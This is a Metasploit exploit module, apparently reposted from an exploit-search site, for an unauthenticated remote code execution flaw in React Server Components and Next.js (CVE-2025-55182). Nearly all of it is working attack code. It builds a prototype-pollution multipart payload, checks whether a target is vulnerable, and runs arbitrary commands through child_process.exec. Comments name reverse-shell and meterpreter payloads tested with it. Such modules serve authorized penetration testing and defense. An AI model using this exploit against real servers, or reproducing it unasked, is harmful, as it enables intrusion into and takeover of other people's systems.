Share
## https://sploitus.com/exploit?id=PACKETSTORM:212599
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Unauthenticated RCE in React and Next.js',
            'Description' => %q{
              A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
              Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
              pollution during deserialization of RSC payloads by sending specially crafted multipart
              requests with "__proto__", "constructor", or "prototype" as module names.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Lachlan Davidson', # Vulnerability Discovery
              'maple3142' # Public Exploit
            ],
            'References' => [
              ['CVE', '2025-55182'],
              ['CVE', '2025-66478'],
              ['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
              ['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
            ],
            'Platform' => ['multi'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                  # Tested with cmd/unix/reverse_bash
                  # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => ['windows']
                  # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ],
            ],
            'Payload' => {
              'BadChars' => '"'
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-12-03',
            'Notes' => {
              'AKA' => ['React2Shell'],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
          ]
        )
      end
    
      def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
        {
          'then' => "$#{ref_idx}:then",
          'status' => 'resolved_model',
          'reason' => reason,
          'value' => { 'then' => '$B' }.to_json,
          '_response' => {
            '_prefix' => node_payload,
            '_formData' => {
              'get' => "$#{ref_idx}:#{get_token}:constructor"
            }
          }
        }.to_json
      end
    
      def get_random_value
        random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
        ['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
      end
    
      def build_post_data(node_payload)
        random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
        random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
        random_get_token = ['then', 'constructor'].sample
    
        chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)
    
        post_data = Rex::MIME::Message.new
        post_data.add_part(chunk, nil, nil, 'form-data; name="0"')
    
        cycle_length = rand(random_ref_idx..9)
        (1..cycle_length).each do |i|
          value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
          post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
        end
    
        post_data
      end
    
      def send_payload(node_payload)
        post_data = build_post_data(node_payload)
    
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'POST',
          'headers' => { 'Next-Action' => '' },
          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
          'data' => post_data.to_s
        )
      end
    
      def check
        random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
        node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"
    
        res = send_payload(node_payload)
        return CheckCode::Unknown("#{peer} - No response from web service") unless res
    
        headers_text = res.headers.to_s
        return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push")
    
        CheckCode::Safe("The target #{target_uri} is not vulnerable")
      end
    
      def exploit
        node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});"
        send_payload(node_payload)
      end
    end